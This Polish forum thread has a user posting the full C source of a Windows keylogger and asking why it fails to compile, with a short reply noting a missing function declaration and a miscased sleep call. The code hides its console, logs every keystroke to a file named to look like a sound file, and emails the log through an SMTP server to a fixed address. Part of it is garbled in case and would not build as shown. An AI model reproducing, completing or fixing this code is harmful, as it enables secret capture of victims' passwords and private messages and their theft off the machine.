Błędy w kodzie... pomocy.

[loveless]

Witam. Mam pewien kod, który studiuje w celach edukacyjnych. Gdy go kompuluję w Dev C++ 5.4.2
to w kompilatorze pokazują się następujące błędy, proszę o pomoc:





A oto kod ROZDZIELAM GO NA 2 CZĘŚCI BO W 1 POŚCIE SIĘ NIE ZMIEŚCI )

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500

#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "[email protected]"
#define cemailfrom "[email protected]"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int test_key(void);
int main(void)
{

HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

{FILE *file;
file=fopen(FileName,"a+");
time_t theTime=time(0);
fputs("\nStarted logging: ", file);
fputs(ctime(&theTime),file);
fclose(file);
}



int t=get_keys();
return t;
}

int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


short character;
while(1)
{
sleep(10);
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen(FileName,"a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n",file);
fclose(file);
break;
case VK_RETURN:
fputs("\r\n[ENTER]\r\n",file);
fclose(file);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",file);
fclose(file);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",file);
fclose(file);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\r\n[DEL]\r\n",file);
fclose(file);
break;
case VK_OEM_1:
fputs("\r\n[;:]\r\n",file);
fclose(file);
break;
case VK_OEM_2:
fputs("\r\n[/?]\r\n",file);
fclose(file);
break;
case VK_OEM_3:
fputs("\r\n[`~]\r\n",file);
fclose(file);
break;
case VK_OEM_4:
fputs("\r\n[ [{ ]\r\n",file);
fclose(file);
break;
case VK_OEM_5:
fputs("\r\n[\\|]\r\n",file);
fclose(file);
break;
case VK_OEM_6:
fputs("\r\n[ ]} ]\r\n",file);
fclose(file);
break;
case VK_OEM_7:
fputs("\r\n['\"]\r\n",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;

[loveless]

Druga połowa kodu

case vk_capital:
Fputs("\r\n[caps lock]\r\n",file);
fclose(file);
break;
default:
Fclose(file);
break;
}
}
}
}
}
file *file;
file=fopen(filename,"rb");
fseek(file,0,seek_end);
len=ftell(file);
if(len>=loglength) {
fseek(file,0,seek_set);
buf=(char *)malloc(len);
freadindex=fread(buf,1,len,file);
buf[freadindex] = '\0';
mailit( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(filename,"w");
}

fclose(file);


}
return exit_success;
}

int mailit (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
socket sockfd;
wsadata wsadata;
file *smtpfile;

#define bufsize 300
int bytes_sent;
int err;
struct hostent *host;
struct sockaddr_in dest_addr;
char line[1000];
char *rec_buf = (char*) malloc(bufsize+1);
smtpfile=fopen(smtplog,"a+");
if (wsastartup(0x202,&wsadata) == socket_error) {
fputs("wsastartup failed",smtpfile);
wsacleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == null) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

/* prepare dest_addr */
dest_addr.sin_family= host->h_addrtype;
dest_addr.sin_port= htons(25);



if ((sockfd=socket(af_inet,sock_stream,0)) < 0) {
perror("socket");
exit(1);
}

fputs("connecting....\n",smtpfile);

if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
strcpy(line,"mail from:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
strcpy(line,"rcpt to:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
strcpy(line,"data\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
sleep(waittime);
strcpy(line,"to:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"from:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
fclose(smtpfile);
#ifdef win32
closesocket(sockfd);
wsacleanup();
#else
close(sockfd);
#endif
}

[Rolek]

Niech zgadnę: znalazłeś ten kod gdzieś w necie i kompletnie nie masz pojęcia co się w nim dzieje
W main używasz funkcji get_keys, która jest zdefiniowana dopiero w dalszej części kodu, przed main powinieneś umieścić deklarację funkcji get_keys.
W kilku miejscach używasz funkcji sleep, której nie ma, pewnie chodziło o Sleep.

PS. Polecam:

• http://gynvael.coldwind.pl/?id=238
• http://xion.org.pl/productions/texts.../megatutorial/
• http://www.intercon.pl/~sektor/cbx/
• http://darkcult.nazwa.pl/